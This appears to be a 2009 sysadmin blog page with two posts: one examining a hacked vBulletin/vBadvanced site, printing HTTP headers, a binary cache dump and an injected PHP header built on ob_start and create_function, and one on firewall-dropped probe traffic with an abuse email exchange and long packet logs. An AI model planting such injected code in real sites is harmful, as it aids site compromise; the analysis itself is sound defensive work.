HTTP/1.x 200 OK
Date: Fri, 01 May 2009 23:02:44 GMT
Server: Apache/1.3.41 (Unix) mod_log_bytes/1.2 mod_bwlimited/1.4 mod_auth_passthrough/1.8 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.7a
Cache-Control: private
Pragma: private
X-Powered-By: PHP/5.2.5
Set-Cookie: bblastvisit=1240161467; expires=Sat, 01-May-2010 23:02:44 GMT; path=/; domain=.r00ted-site??.com
Set-Cookie: bblastactivity=0; expires=Sat, 01-May-2010 23:02:44 GMT; path=/; domain=.r00ted-site??.com
Content-Length: 0
Content-Type: text/html; charset=ISO-8859-1
X-Cache: MISS from 0×95.
Connection: keep-alive

Ok, that checks out, lets see what GoogleBot is seeing (Google Cache),

...snip...

º€Üñ~X CnÊ^ r]tÎ ß©`˜_ÿJ ‚Œ«07’ [lö¼á¦˜Á.IæöH L®(îy±pã~I½A&
Ø žÔÏ‰ áeˆ¥JRÃ|‚¥Ö qC£L™.±ÑW•JÒ¦P¢ •³É6‚M Y ëd ¥Ê‚vÄ7Éâ¥¿9Þ•ü
Š2Œ U‡ü´PNÏŽ¼>· Í¡&Žg~ì Éà( k¦Š£FÑeºjƒj>c yóXì¤K'q 5 ês
±&Ž[tÇÓ êóO ¦z¨IlË.E#Û ùÔ–_”5SÿRŒ…bôìkñßë ª§ßÕ £ 3§¤( Õë
üeJ‰˜Èeƒ ®¦êôä'«ÝògŠö ÿ-wÁ :® ÖnöX ¾á±1cïÁ ç¸ XˆÒiN( <×w
£(I¥Ø  ÿ á Pco jž&kiò 6Óä‡ï –©†R´ ˜È &›1ù§&à °"ž÷ý`
N³Fr3Í 0× ¤ N Ê™Tè¹ |»çúÔ;jÁrÜ 6ä{¥ Þ³é.WBk òª|BR’ó ‹*9 ü" C ùÇžã
ø®|ÎŒ ˆ-q¯¹ÉÏbö³¿ ä"W9s˜ ¸ê‘x6uC è–È EÍ é EÕ‚íªôøÜsâ :±\þ ~ff‚ÍðÓ
¸9à:‹ ¾$ñ¡H ð f ¶ K§†º JU,{ŸÕç I «+« DTŽ î— µÞÙæJëZ6P ®çRA5YPÒ:
² V •zÜ ù œO6 ¦ìÎ

...snip...

Lovely.. He sends over the index.php that's causing the issue, and here's what's inside,

 
 
/*d6dc9649bc1e96ceef5b932f3edee390*/
 
ob_start( create_function( '$buf', 'return str_repeat("\t",rand(28,40)).\'
\'."\n".$buf;' ) );/*d6dc9649bc1e96ceef5b932f3edee390*/

// ++=========================================================================++
// || vBadvanced CMPS v3.0.1 (vB 3.6 - vB 3.7) - 56182
// ++
... snip ...

I searched and searched, and came across what looks like a method of unobfuscating, but I’m too lazy to work at it.

Ideas, anyone? :]

Flow Control Platform (FCP) is Pissing Me Off

Guy Patterson — Fri, 24 Apr 2009 18:46:38 +0000

Every two hours or so my servers are set to email me a summary of events and other misc. information. Some of the information is memory/cpu utilization, which processes are running, a list of listening services, which cron-jobs ran, who logged in, etc. My favorite part of the script is the “INBOUND DROPPED” portion.

This portion of the email includes all the packets that were dropped by the firewall. This week I’ve noticed a dramatic increase in dropped packets from IPs all over the world. Frustrated and confused by the annoyances, I started sending emails to abuse departments requesting they stop.

Here’s an email sent 2 days ago:

MIME-Version: 1.0
Sender: security at nullamatix dot com
Received: by 10.100.140.11 with HTTP; Wed, 22 Apr 2009 09:59:19 -0700 (PDT)
Date: Wed, 22 Apr 2009 12:59:19 -0400
X-Google-Sender-Auth: 49f446
Message-ID: <88e844b40904220959l60610b73t2a6a33aa478d4153@mail.gmail.com>
Subject: Unnecessary Traffic From: 66.129.65.84
From: Security Operations 
To: abuse at peak10
Cc: chris.martin at peak10, don.lundquist at peak10, devon.true at peak10,
	john.willingham at peak10, ronnie.frames at peak10
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Seriously, there's no service listening on port 33435, I promise...

03:29:46  SRC=66.129.65.84     DST=209.40.196.119   SPT=12495   DPT=33435
03:29:51  SRC=66.129.65.84     DST=209.40.196.119   SPT=12495   DPT=33435
03:29:56  SRC=66.129.65.84     DST=209.40.196.119   SPT=12495   DPT=33435
03:30:01  SRC=66.129.65.84     DST=209.40.196.119   SPT=12495   DPT=33435
03:30:06  SRC=66.129.65.84     DST=209.40.196.119   SPT=12495   DPT=33435
03:30:11  SRC=66.129.65.84     DST=209.40.196.119   SPT=12495   DPT=33435

05:23:46  SRC=66.129.65.84     DST=209.40.196.119   SPT=11746   DPT=33435
05:23:51  SRC=66.129.65.84     DST=209.40.196.119   SPT=11746   DPT=33435
05:23:56  SRC=66.129.65.84     DST=209.40.196.119   SPT=11746   DPT=33435
05:24:01  SRC=66.129.65.84     DST=209.40.196.119   SPT=11746   DPT=33435
05:24:06  SRC=66.129.65.84     DST=209.40.196.119   SPT=11746   DPT=33435
05:24:11  SRC=66.129.65.84     DST=209.40.196.119   SPT=11746   DPT=33435

06:28:50  SRC=66.129.65.84     DST=209.40.196.119   SPT=11736   DPT=33435
06:28:58  SRC=66.129.65.84     DST=209.40.196.119   SPT=11736   DPT=33435
06:29:00  SRC=66.129.65.84     DST=209.40.196.119   SPT=11736   DPT=33435
06:29:05  SRC=66.129.65.84     DST=209.40.196.119   SPT=11736   DPT=33435
06:29:11  SRC=66.129.65.84     DST=209.40.196.119   SPT=11736   DPT=33435
06:29:15  SRC=66.129.65.84     DST=209.40.196.119   SPT=11736   DPT=33435

07:14:50  SRC=66.129.65.84     DST=209.40.196.119   SPT=12015   DPT=33435
07:14:55  SRC=66.129.65.84     DST=209.40.196.119   SPT=12015   DPT=33435
07:15:00  SRC=66.129.65.84     DST=209.40.196.119   SPT=12015   DPT=33435
07:15:05  SRC=66.129.65.84     DST=209.40.196.119   SPT=12015   DPT=33435
07:15:10  SRC=66.129.65.84     DST=209.40.196.119   SPT=12015   DPT=33435
07:15:15  SRC=66.129.65.84     DST=209.40.196.119   SPT=12015   DPT=33435

08:14:47  SRC=66.129.65.84     DST=209.40.196.119   SPT=10025   DPT=33435
08:14:51  SRC=66.129.65.84     DST=209.40.196.119   SPT=10025   DPT=33435
08:14:56  SRC=66.129.65.84     DST=209.40.196.119   SPT=10025   DPT=33435
08:15:01  SRC=66.129.65.84     DST=209.40.196.119   SPT=10025   DPT=33435
08:15:07  SRC=66.129.65.84     DST=209.40.196.119   SPT=10025   DPT=33435
08:15:11  SRC=66.129.65.84     DST=209.40.196.119   SPT=10025   DPT=33435

09:41:56  SRC=66.129.65.84     DST=209.40.196.119   SPT=12250   DPT=33435
09:42:01  SRC=66.129.65.84     DST=209.40.196.119   SPT=12250   DPT=33435
09:42:06  SRC=66.129.65.84     DST=209.40.196.119   SPT=12250   DPT=33435
09:42:11  SRC=66.129.65.84     DST=209.40.196.119   SPT=12250   DPT=33435
09:42:16  SRC=66.129.65.84     DST=209.40.196.119   SPT=12250   DPT=33435
09:42:21  SRC=66.129.65.84     DST=209.40.196.119   SPT=12250   DPT=33435

Thanks,

Guy
https://www.nullamatix.com/pubkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32) - WinPT 1.2.0

iQEVAwUBSe9MW8LX50JovmoJAQJFAAf+Kkx1pedIL++zVf0pDc70PGqWhpVQUPKS
OiT64L8XJ9BJbC7X+lhSGGpLacpE9+uY5ShpGgBGOi+cVtie+hzZFSb7EPaF+5xJ
qgr2rGCGdYAaWmfvwVKvNCCdllymC8WYCywbExCrTwrZKUWA8K5+st2MPGJ16V5A
+QLyAEE0oJSfQIurs4ZhBtRnMGqokcKeoPiokelLagkH+cri8STNOUxOM6XQu3AZ
xUsKvt3TkemUpB/hZQhu0TstxGrAygXgEbO8H8K7p6J5HzNUbCm7nNMdpk2hZNuz
BrMMX3NrQVxA/8GqeJmoljF/a1IxUaVfekN9cco/jJVqE2M816pgSg==
=COtU
-----END PGP SIGNATURE-----

Devon True responded quickly - within twenty minutes (good host?):

From: NetworkEngineering at peak10 dot come Network Engineering
To: security at nullamatix dot com Security Operations
Date: Wed, 22 Apr 2009 13:16:54 -0400
Subject: RE: Unnecessary Traffic From: 66.129.65.84 [TID:430679] 

Guy,

The host at IP 66.129.65.84 is a Flow Control Platform (FCP) that
optimizes our outbound traffic based on load, latency, packet loss,
etc. The traffic that is hitting your system are the probes from
the unit to test those criteria. If you want those probes stopped,
please reply with the network to exclude.

--
Devon True
Peak 10 Network Engineer || Peak 10 Data Center Solutions
Email: devon.true at peak10 dot com || Direct: XXX-XXX-6007
Peak 10 Support: 866-PEAK-TEN support at peak10 dot c0m
URI: http://www.peak10.com/

So I replied and all appears well. Logs and emails went back to the usual Chinese, Russian, Romanian brute-force attacks, no more flood of useless traffic to ports that aren’t listening. wrong.

I came home on my lunch break today and started examining the couple status reports in my inbox, and to my surprise, this is what’s inside for the INBOUND DROPPED portion…
* I altered the DST= column to display 67.200.200.00

April 24th 2009 - 00:00:01

00:00:01  SRC=76.3.140.205     DST=67.200.200.00    SPT=2345    DPT=39172
00:00:01  SRC=76.3.140.205     DST=67.200.200.00    SPT=3345    DPT=39172
00:00:01  SRC=76.3.140.205     DST=67.200.200.00    SPT=4345    DPT=39172
00:00:01  SRC=76.3.140.205     DST=67.200.200.00    SPT=5345    DPT=39172
00:00:01  SRC=76.3.140.205     DST=67.200.200.00    SPT=6345    DPT=39172
00:00:01  SRC=76.3.140.205     DST=67.200.200.00    SPT=7345    DPT=39172
00:00:01  SRC=76.3.140.205     DST=67.200.200.00    SPT=8345    DPT=39172
00:00:01  SRC=76.3.140.205     DST=67.200.200.00    SPT=9345    DPT=39172
00:00:01  SRC=76.3.140.205     DST=67.200.200.00    SPT=1345    DPT=39172
 
00:00:01  SRC=189.176.195.229  DST=67.200.200.00    SPT=1345    DPT=39172
00:00:01  SRC=189.176.195.229  DST=67.200.200.00    SPT=2345    DPT=39172
00:00:01  SRC=189.176.195.229  DST=67.200.200.00    SPT=3345    DPT=39172
00:00:01  SRC=189.176.195.229  DST=67.200.200.00    SPT=4345    DPT=39172
00:00:01  SRC=189.176.195.229  DST=67.200.200.00    SPT=5345    DPT=39172
00:00:01  SRC=189.176.195.229  DST=67.200.200.00    SPT=6345    DPT=39172
00:00:01  SRC=189.176.195.229  DST=67.200.200.00    SPT=7345    DPT=39172
00:00:01  SRC=189.176.195.229  DST=67.200.200.00    SPT=8345    DPT=39172
00:00:01  SRC=189.176.195.229  DST=67.200.200.00    SPT=9345    DPT=39172
 
00:00:01  SRC=98.207.90.174    DST=67.200.200.00    SPT=1345    DPT=39172
00:00:01  SRC=98.207.90.174    DST=67.200.200.00    SPT=2345    DPT=39172
00:00:01  SRC=98.207.90.174    DST=67.200.200.00    SPT=3345    DPT=39172
00:00:01  SRC=98.207.90.174    DST=67.200.200.00    SPT=4345    DPT=39172
00:00:01  SRC=98.207.90.174    DST=67.200.200.00    SPT=5345    DPT=39172
00:00:01  SRC=98.207.90.174    DST=67.200.200.00    SPT=6345    DPT=39172
00:00:01  SRC=98.207.90.174    DST=67.200.200.00    SPT=7345    DPT=39172
00:00:01  SRC=98.207.90.174    DST=67.200.200.00    SPT=8345    DPT=39172
00:00:01  SRC=98.207.90.174    DST=67.200.200.00    SPT=9345    DPT=39172
 
00:00:01  SRC=67.80.17.61      DST=67.200.200.00    SPT=1345    DPT=39172
00:00:01  SRC=67.80.17.61      DST=67.200.200.00    SPT=2345    DPT=39172
00:00:01  SRC=67.80.17.61      DST=67.200.200.00    SPT=3345    DPT=39172
00:00:01  SRC=67.80.17.61      DST=67.200.200.00    SPT=4345    DPT=39172
00:00:01  SRC=67.80.17.61      DST=67.200.200.00    SPT=5345    DPT=39172
00:00:01  SRC=67.80.17.61      DST=67.200.200.00    SPT=6345    DPT=39172
00:00:01  SRC=67.80.17.61      DST=67.200.200.00    SPT=7345    DPT=39172
00:00:01  SRC=67.80.17.61      DST=67.200.200.00    SPT=8345    DPT=39172
00:00:01  SRC=67.80.17.61      DST=67.200.200.00    SPT=9345    DPT=39172

April 24th 2009 - 00:00:08

00:00:08  SRC=98.227.224.66    DST=67.200.200.00    SPT=1345    DPT=39172
00:00:08  SRC=98.227.224.66    DST=67.200.200.00    SPT=2345    DPT=39172
00:00:08  SRC=98.227.224.66    DST=67.200.200.00    SPT=3345    DPT=39172
00:00:08  SRC=98.227.224.66    DST=67.200.200.00    SPT=4345    DPT=39172
00:00:08  SRC=98.227.224.66    DST=67.200.200.00    SPT=5345    DPT=39172
00:00:08  SRC=98.227.224.66    DST=67.200.200.00    SPT=6345    DPT=39172
00:00:08  SRC=98.227.224.66    DST=67.200.200.00    SPT=7345    DPT=39172
00:00:08  SRC=98.227.224.66    DST=67.200.200.00    SPT=8345    DPT=39172
00:00:08  SRC=98.227.224.66    DST=67.200.200.00    SPT=9345    DPT=39172
 
00:00:08  SRC=69.115.175.27    DST=67.200.200.00    SPT=1345    DPT=39172
00:00:08  SRC=69.115.175.27    DST=67.200.200.00    SPT=2345    DPT=39172
00:00:08  SRC=69.115.175.27    DST=67.200.200.00    SPT=3345    DPT=39172
00:00:08  SRC=69.115.175.27    DST=67.200.200.00    SPT=4345    DPT=39172
00:00:08  SRC=69.115.175.27    DST=67.200.200.00    SPT=5345    DPT=39172
00:00:08  SRC=69.115.175.27    DST=67.200.200.00    SPT=6345    DPT=39172
00:00:08  SRC=69.115.175.27    DST=67.200.200.00    SPT=7345    DPT=39172
00:00:08  SRC=69.115.175.27    DST=67.200.200.00    SPT=8345    DPT=39172
00:00:08  SRC=69.115.175.27    DST=67.200.200.00    SPT=9345    DPT=39172
 
00:00:08  SRC=69.231.217.167   DST=67.200.200.00    SPT=1345    DPT=39172
00:00:08  SRC=69.231.217.167   DST=67.200.200.00    SPT=2345    DPT=39172
00:00:08  SRC=69.231.217.167   DST=67.200.200.00    SPT=3345    DPT=39172
00:00:08  SRC=69.231.217.167   DST=67.200.200.00    SPT=4345    DPT=39172
00:00:08  SRC=69.231.217.167   DST=67.200.200.00    SPT=5345    DPT=39172
00:00:08  SRC=69.231.217.167   DST=67.200.200.00    SPT=6345    DPT=39172
00:00:08  SRC=69.231.217.167   DST=67.200.200.00    SPT=7345    DPT=39172
00:00:08  SRC=69.231.217.167   DST=67.200.200.00    SPT=8345    DPT=39172
00:00:08  SRC=69.231.217.167   DST=67.200.200.00    SPT=9345    DPT=39172
 
00:00:08  SRC=70.45.57.125     DST=67.200.200.00    SPT=1345    DPT=39172
00:00:08  SRC=70.45.57.125     DST=67.200.200.00    SPT=2345    DPT=39172
00:00:08  SRC=70.45.57.125     DST=67.200.200.00    SPT=3345    DPT=39172
00:00:08  SRC=70.45.57.125     DST=67.200.200.00    SPT=4345    DPT=39172
00:00:08  SRC=70.45.57.125     DST=67.200.200.00    SPT=5345    DPT=39172
00:00:08  SRC=70.45.57.125     DST=67.200.200.00    SPT=6345    DPT=39172
00:00:08  SRC=70.45.57.125     DST=67.200.200.00    SPT=7345    DPT=39172
00:00:08  SRC=70.45.57.125     DST=67.200.200.00    SPT=8345    DPT=39172
00:00:08  SRC=70.45.57.125     DST=67.200.200.00    SPT=9345    DPT=39172

April 24th 2009 - 00:00:29

00:00:29  SRC=71.236.251.165   DST=67.200.200.00    SPT=1345    DPT=39172
00:00:29  SRC=71.236.251.165   DST=67.200.200.00    SPT=2345    DPT=39172
00:00:29  SRC=71.236.251.165   DST=67.200.200.00    SPT=3345    DPT=39172
00:00:29  SRC=71.236.251.165   DST=67.200.200.00    SPT=4345    DPT=39172
00:00:29  SRC=71.236.251.165   DST=67.200.200.00    SPT=5345    DPT=39172
00:00:29  SRC=71.236.251.165   DST=67.200.200.00    SPT=6345    DPT=39172
00:00:29  SRC=71.236.251.165   DST=67.200.200.00    SPT=7345    DPT=39172
00:00:29  SRC=71.236.251.165   DST=67.200.200.00    SPT=8345    DPT=39172
00:00:29  SRC=71.236.251.165   DST=67.200.200.00    SPT=9345    DPT=39172
 
00:00:29  SRC=67.80.17.61      DST=67.200.200.00    SPT=1345    DPT=39172
00:00:29  SRC=67.80.17.61      DST=67.200.200.00    SPT=2345    DPT=39172
00:00:29  SRC=67.80.17.61      DST=67.200.200.00    SPT=3345    DPT=39172
00:00:29  SRC=67.80.17.61      DST=67.200.200.00    SPT=4345    DPT=39172
00:00:29  SRC=67.80.17.61      DST=67.200.200.00    SPT=5345    DPT=39172
00:00:29  SRC=67.80.17.61      DST=67.200.200.00    SPT=6345    DPT=39172
00:00:29  SRC=67.80.17.61      DST=67.200.200.00    SPT=7345    DPT=39172
00:00:29  SRC=67.80.17.61      DST=67.200.200.00    SPT=8345    DPT=39172
00:00:29  SRC=67.80.17.61      DST=67.200.200.00    SPT=9345    DPT=39172
 
00:00:29  SRC=67.53.4.151      DST=67.200.200.00    SPT=1345    DPT=39172
00:00:29  SRC=67.53.4.151      DST=67.200.200.00    SPT=2345    DPT=39172
00:00:29  SRC=67.53.4.151      DST=67.200.200.00    SPT=3345    DPT=39172
00:00:29  SRC=67.53.4.151      DST=67.200.200.00    SPT=4345    DPT=39172
00:00:29  SRC=67.53.4.151      DST=67.200.200.00    SPT=5345    DPT=39172
00:00:29  SRC=67.53.4.151      DST=67.200.200.00    SPT=6345    DPT=39172
00:00:29  SRC=67.53.4.151      DST=67.200.200.00    SPT=7345    DPT=39172
00:00:29  SRC=67.53.4.151      DST=67.200.200.00    SPT=8345    DPT=39172
00:00:29  SRC=67.53.4.151      DST=67.200.200.00    SPT=9345    DPT=39172
 
00:00:29  SRC=203.189.32.234   DST=67.200.200.00    SPT=1345    DPT=39172
00:00:29  SRC=203.189.32.234   DST=67.200.200.00    SPT=2345    DPT=39172
00:00:29  SRC=203.189.32.234   DST=67.200.200.00    SPT=3345    DPT=39172
00:00:29  SRC=203.189.32.234   DST=67.200.200.00    SPT=4345    DPT=39172
00:00:29  SRC=203.189.32.234   DST=67.200.200.00    SPT=5345    DPT=39172
00:00:29  SRC=203.189.32.234   DST=67.200.200.00    SPT=6345    DPT=39172
00:00:29  SRC=203.189.32.234   DST=67.200.200.00    SPT=7345    DPT=39172
00:00:29  SRC=203.189.32.234   DST=67.200.200.00    SPT=8345    DPT=39172
00:00:29  SRC=203.189.32.234   DST=67.200.200.00    SPT=9345    DPT=39172

April 24th 2009 - 00:01:07

00:01:07  SRC=201.24.3.234     DST=67.200.200.00    SPT=1345    DPT=39172
00:01:07  SRC=201.24.3.234     DST=67.200.200.00    SPT=2345    DPT=39172
00:01:07  SRC=201.24.3.234     DST=67.200.200.00    SPT=3345    DPT=39172
00:01:07  SRC=201.24.3.234     DST=67.200.200.00    SPT=4345    DPT=39172
00:01:07  SRC=201.24.3.234     DST=67.200.200.00    SPT=5345    DPT=39172
00:01:07  SRC=201.24.3.234     DST=67.200.200.00    SPT=6345    DPT=39172
00:01:07  SRC=201.24.3.234     DST=67.200.200.00    SPT=7345    DPT=39172
00:01:07  SRC=201.24.3.234     DST=67.200.200.00    SPT=8345    DPT=39172
00:01:07  SRC=201.24.3.234     DST=67.200.200.00    SPT=9345    DPT=39172
 
00:01:07  SRC=68.204.68.82     DST=67.200.200.00    SPT=1345    DPT=39172
00:01:07  SRC=68.204.68.82     DST=67.200.200.00    SPT=2345    DPT=39172
00:01:07  SRC=68.204.68.82     DST=67.200.200.00    SPT=3345    DPT=39172
00:01:07  SRC=68.204.68.82     DST=67.200.200.00    SPT=4345    DPT=39172
00:01:07  SRC=68.204.68.82     DST=67.200.200.00    SPT=5345    DPT=39172
00:01:07  SRC=68.204.68.82     DST=67.200.200.00    SPT=6345    DPT=39172
00:01:07  SRC=68.204.68.82     DST=67.200.200.00    SPT=7345    DPT=39172
00:01:07  SRC=68.204.68.82     DST=67.200.200.00    SPT=8345    DPT=39172
00:01:07  SRC=68.204.68.82     DST=67.200.200.00    SPT=9345    DPT=39172
 
00:01:07  SRC=203.189.32.234   DST=67.200.200.00    SPT=1345    DPT=39172
00:01:07  SRC=203.189.32.234   DST=67.200.200.00    SPT=2345    DPT=39172
00:01:07  SRC=203.189.32.234   DST=67.200.200.00    SPT=3345    DPT=39172
00:01:07  SRC=203.189.32.234   DST=67.200.200.00    SPT=4345    DPT=39172
00:01:07  SRC=203.189.32.234   DST=67.200.200.00    SPT=5345    DPT=39172
00:01:07  SRC=203.189.32.234   DST=67.200.200.00    SPT=6345    DPT=39172
00:01:07  SRC=203.189.32.234   DST=67.200.200.00    SPT=7345    DPT=39172
00:01:07  SRC=203.189.32.234   DST=67.200.200.00    SPT=8345    DPT=39172
00:01:07  SRC=203.189.32.234   DST=67.200.200.00    SPT=9345    DPT=39172
 
00:01:07  SRC=98.162.240.76    DST=67.200.200.00    SPT=1345    DPT=39172
00:01:07  SRC=98.162.240.76    DST=67.200.200.00    SPT=2345    DPT=39172
00:01:07  SRC=98.162.240.76    DST=67.200.200.00    SPT=3345    DPT=39172
00:01:07  SRC=98.162.240.76    DST=67.200.200.00    SPT=4345    DPT=39172
00:01:07  SRC=98.162.240.76    DST=67.200.200.00    SPT=5345    DPT=39172
00:01:07  SRC=98.162.240.76    DST=67.200.200.00    SPT=6345    DPT=39172
00:01:07  SRC=98.162.240.76    DST=67.200.200.00    SPT=7345    DPT=39172
00:01:07  SRC=98.162.240.76    DST=67.200.200.00    SPT=8345    DPT=39172
00:01:07  SRC=98.162.240.76    DST=67.200.200.00    SPT=9345    DPT=39172

April 24th 2009 - 00:01:28

00:01:28  SRC=201.160.203.114  DST=67.200.200.00    SPT=1345    DPT=39172
00:01:28  SRC=201.160.203.114  DST=67.200.200.00    SPT=2345    DPT=39172
00:01:28  SRC=201.160.203.114  DST=67.200.200.00    SPT=3345    DPT=39172
00:01:28  SRC=201.160.203.114  DST=67.200.200.00    SPT=4345    DPT=39172
00:01:28  SRC=201.160.203.114  DST=67.200.200.00    SPT=5345    DPT=39172
00:01:28  SRC=201.160.203.114  DST=67.200.200.00    SPT=6345    DPT=39172
00:01:28  SRC=201.160.203.114  DST=67.200.200.00    SPT=7345    DPT=39172
00:01:28  SRC=201.160.203.114  DST=67.200.200.00    SPT=8345    DPT=39172
00:01:28  SRC=201.160.203.114  DST=67.200.200.00    SPT=9345    DPT=39172
 
00:01:28  SRC=68.33.192.177    DST=67.200.200.00    SPT=1345    DPT=39172
00:01:28  SRC=68.33.192.177    DST=67.200.200.00    SPT=2345    DPT=39172
00:01:28  SRC=68.33.192.177    DST=67.200.200.00    SPT=3345    DPT=39172
00:01:28  SRC=68.33.192.177    DST=67.200.200.00    SPT=4345    DPT=39172
00:01:28  SRC=68.33.192.177    DST=67.200.200.00    SPT=5345    DPT=39172
00:01:28  SRC=68.33.192.177    DST=67.200.200.00    SPT=6345    DPT=39172
00:01:28  SRC=68.33.192.177    DST=67.200.200.00    SPT=7345    DPT=39172
00:01:28  SRC=68.33.192.177    DST=67.200.200.00    SPT=8345    DPT=39172
00:01:28  SRC=68.33.192.177    DST=67.200.200.00    SPT=9345    DPT=39172
 
00:01:28  SRC=69.133.95.19     DST=67.200.200.00    SPT=1345    DPT=39172
00:01:28  SRC=69.133.95.19     DST=67.200.200.00    SPT=2345    DPT=39172
00:01:28  SRC=69.133.95.19     DST=67.200.200.00    SPT=3345    DPT=39172
00:01:28  SRC=69.133.95.19     DST=67.200.200.00    SPT=4345    DPT=39172
00:01:28  SRC=69.133.95.19     DST=67.200.200.00    SPT=5345    DPT=39172
00:01:28  SRC=69.133.95.19     DST=67.200.200.00    SPT=6345    DPT=39172
00:01:28  SRC=69.133.95.19     DST=67.200.200.00    SPT=7345    DPT=39172
00:01:28  SRC=69.133.95.19     DST=67.200.200.00    SPT=8345    DPT=39172
00:01:28  SRC=69.133.95.19     DST=67.200.200.00    SPT=9345    DPT=39172
 
00:01:28  SRC=24.125.136.43    DST=67.200.200.00    SPT=1345    DPT=39172
00:01:28  SRC=24.125.136.43    DST=67.200.200.00    SPT=2345    DPT=39172
00:01:28  SRC=24.125.136.43    DST=67.200.200.00    SPT=3345    DPT=39172
00:01:28  SRC=24.125.136.43    DST=67.200.200.00    SPT=4345    DPT=39172
00:01:28  SRC=24.125.136.43    DST=67.200.200.00    SPT=5345    DPT=39172
00:01:28  SRC=24.125.136.43    DST=67.200.200.00    SPT=6345    DPT=39172
00:01:28  SRC=24.125.136.43    DST=67.200.200.00    SPT=7345    DPT=39172
00:01:28  SRC=24.125.136.43    DST=67.200.200.00    SPT=8345    DPT=39172
00:01:28  SRC=24.125.136.43    DST=67.200.200.00    SPT=9345    DPT=39172

April 24th 2009 - 00:02:02

00:02:02  SRC=189.216.93.18    DST=67.200.200.00    SPT=1345    DPT=39172
00:02:02  SRC=189.216.93.18    DST=67.200.200.00    SPT=2345    DPT=39172
00:02:02  SRC=189.216.93.18    DST=67.200.200.00    SPT=3345    DPT=39172
00:02:02  SRC=189.216.93.18    DST=67.200.200.00    SPT=4345    DPT=39172
00:02:02  SRC=189.216.93.18    DST=67.200.200.00    SPT=5345    DPT=39172
00:02:02  SRC=189.216.93.18    DST=67.200.200.00    SPT=6345    DPT=39172
00:02:02  SRC=189.216.93.18    DST=67.200.200.00    SPT=7345    DPT=39172
00:02:02  SRC=189.216.93.18    DST=67.200.200.00    SPT=8345    DPT=39172
00:02:02  SRC=189.216.93.18    DST=67.200.200.00    SPT=9345    DPT=39172
 
00:02:02  SRC=68.103.145.120   DST=67.200.200.00    SPT=1345    DPT=39172
00:02:02  SRC=68.103.145.120   DST=67.200.200.00    SPT=2345    DPT=39172
00:02:02  SRC=68.103.145.120   DST=67.200.200.00    SPT=3345    DPT=39172
00:02:02  SRC=68.103.145.120   DST=67.200.200.00    SPT=4345    DPT=39172
00:02:02  SRC=68.103.145.120   DST=67.200.200.00    SPT=5345    DPT=39172
00:02:02  SRC=68.103.145.120   DST=67.200.200.00    SPT=6345    DPT=39172
00:02:02  SRC=68.103.145.120   DST=67.200.200.00    SPT=7345    DPT=39172
00:02:02  SRC=68.103.145.120   DST=67.200.200.00    SPT=8345    DPT=39172
00:02:02  SRC=68.103.145.120   DST=67.200.200.00    SPT=9345    DPT=39172
 
00:02:02  SRC=92.96.17.155     DST=67.200.200.00    SPT=1345    DPT=39172
00:02:02  SRC=92.96.17.155     DST=67.200.200.00    SPT=2345    DPT=39172
00:02:02  SRC=92.96.17.155     DST=67.200.200.00    SPT=3345    DPT=39172
00:02:02  SRC=92.96.17.155     DST=67.200.200.00    SPT=4345    DPT=39172
00:02:02  SRC=92.96.17.155     DST=67.200.200.00    SPT=5345    DPT=39172
00:02:02  SRC=92.96.17.155     DST=67.200.200.00    SPT=6345    DPT=39172
00:02:02  SRC=92.96.17.155     DST=67.200.200.00    SPT=7345    DPT=39172
00:02:02  SRC=92.96.17.155     DST=67.200.200.00    SPT=8345    DPT=39172
00:02:02  SRC=92.96.17.155     DST=67.200.200.00    SPT=9345    DPT=39172
 
00:02:02  SRC=69.133.95.19     DST=67.200.200.00    SPT=1345    DPT=39172
00:02:02  SRC=69.133.95.19     DST=67.200.200.00    SPT=2345    DPT=39172
00:02:02  SRC=69.133.95.19     DST=67.200.200.00    SPT=3345    DPT=39172
00:02:02  SRC=69.133.95.19     DST=67.200.200.00    SPT=4345    DPT=39172
00:02:02  SRC=69.133.95.19     DST=67.200.200.00    SPT=5345    DPT=39172
00:02:02  SRC=69.133.95.19     DST=67.200.200.00    SPT=6345    DPT=39172
00:02:02  SRC=69.133.95.19     DST=67.200.200.00    SPT=7345    DPT=39172
00:02:02  SRC=69.133.95.19     DST=67.200.200.00    SPT=8345    DPT=39172
00:02:02  SRC=69.133.95.19     DST=67.200.200.00    SPT=9345    DPT=39172

April 24th 2009 - 00:02:19

00:02:19  SRC=69.115.175.27    DST=67.200.200.00    SPT=1345    DPT=39172
00:02:19  SRC=69.115.175.27    DST=67.200.200.00    SPT=2345    DPT=39172
00:02:19  SRC=69.115.175.27    DST=67.200.200.00    SPT=3345    DPT=39172
00:02:19  SRC=69.115.175.27    DST=67.200.200.00    SPT=4345    DPT=39172
00:02:19  SRC=69.115.175.27    DST=67.200.200.00    SPT=5345    DPT=39172
00:02:19  SRC=69.115.175.27    DST=67.200.200.00    SPT=6345    DPT=39172
00:02:19  SRC=69.115.175.27    DST=67.200.200.00    SPT=7345    DPT=39172
00:02:19  SRC=69.115.175.27    DST=67.200.200.00    SPT=8345    DPT=39172
00:02:19  SRC=69.115.175.27    DST=67.200.200.00    SPT=9345    DPT=39172
 
00:02:19  SRC=83.114.40.4      DST=67.200.200.00    SPT=1345    DPT=39172
00:02:19  SRC=83.114.40.4      DST=67.200.200.00    SPT=2345    DPT=39172
00:02:19  SRC=83.114.40.4      DST=67.200.200.00    SPT=3345    DPT=39172
00:02:19  SRC=83.114.40.4      DST=67.200.200.00    SPT=4345    DPT=39172
00:02:19  SRC=83.114.40.4      DST=67.200.200.00    SPT=5345    DPT=39172
00:02:19  SRC=83.114.40.4      DST=67.200.200.00    SPT=6345    DPT=39172
00:02:19  SRC=83.114.40.4      DST=67.200.200.00    SPT=7345    DPT=39172
00:02:19  SRC=83.114.40.4      DST=67.200.200.00    SPT=8345    DPT=39172
00:02:19  SRC=83.114.40.4      DST=67.200.200.00    SPT=9345    DPT=39172
 
00:02:19  SRC=69.231.217.167   DST=67.200.200.00    SPT=1345    DPT=39172
00:02:19  SRC=69.231.217.167   DST=67.200.200.00    SPT=2345    DPT=39172
00:02:19  SRC=69.231.217.167   DST=67.200.200.00    SPT=3345    DPT=39172
00:02:19  SRC=69.231.217.167   DST=67.200.200.00    SPT=4345    DPT=39172
00:02:19  SRC=69.231.217.167   DST=67.200.200.00    SPT=5345    DPT=39172
00:02:19  SRC=69.231.217.167   DST=67.200.200.00    SPT=6345    DPT=39172
